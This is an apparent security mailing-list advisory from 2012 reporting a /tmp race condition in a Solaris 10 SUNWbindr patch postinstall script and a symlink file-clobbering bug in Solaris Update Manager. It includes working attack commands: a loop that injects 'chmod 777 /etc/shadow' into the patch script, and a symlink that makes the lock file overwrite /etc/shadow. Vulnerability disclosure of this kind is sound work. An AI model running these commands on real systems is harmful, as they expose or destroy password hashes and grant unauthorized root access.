file clobbering vulnerability in Solaris update manager & local root with SUNWbindr install.

Hi list,
Two small problems I noticed with Oracle Solaris Update Manager and the latest patch cluster on Solaris 10 x86.

+= Local Root

If the system administrator is updating the system using update manager or smpatch (multi user mode) a race condition exists with the postinstall script for SUNWbindr that may lead to arbitrary code execution as root if the race is won.

vulnerable code in:

./patches/119784-22/SUNWbindr/install/pkg_postinstall: UPGRADE=${TMP}/BIND_UPGRADE
./patches/119784-22/SUNWbindr/install/postinstall: UPGRADE=${TMP}/BIND_UPGRADE

vulnerable code:

UPGRADE=${TMP}/BIND_UPGRADE
rm -f $UPGRADE

(If I create the file first between these two steps, I should have ownership before it is over written and inject malicious code to get root.)

cat >> $UPGRADE <<-\_UPDATE_START_METHOD
oset=$@ # Remember current options if any.
svc="svc:network/dns/server"
if [ -z "$TMP" ]; then
TMP="/tmp"
fi

If the following is run:

while (true) ; do touch /tmp/BIND_UPGRADE ;echo "chmod 777 /etc/shadow" > /tmp/BIND_UPGRADE; done

during patch installation you can get /etc/shadow world writeable.

+= File Clobbering Vulnerability

Noticed this during routine patching.

/tmp file clobbering vulnerability in Sun Update manager.
7/15/2012

if Solaris Update Manager is run by root and a malicious user creates a symlink in /tmp

larry@n1caragua:/tmp$ ln -s /etc/shadow com.sun.swup.client.LOCK

larry@n1caragua:/tmp$ ls -l /etc/shadow
-r-------- 1 root sys 0 Jul 19 18:49 /etc/shadow

SunOS n1caragua 5.10 Generic_147441-19 i86pc i386 i86pc
larry@n1caragua:~$

truss output:

4841/2: stat64("/tmp/com.sun.swup.client.LOCK", 0xD03FEAB0) = 0
4841/2: open64("/tmp/com.sun.swup.client.LOCK", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 5

Larry W. Cashdollar
http://vapid.dhs.org @lcashdol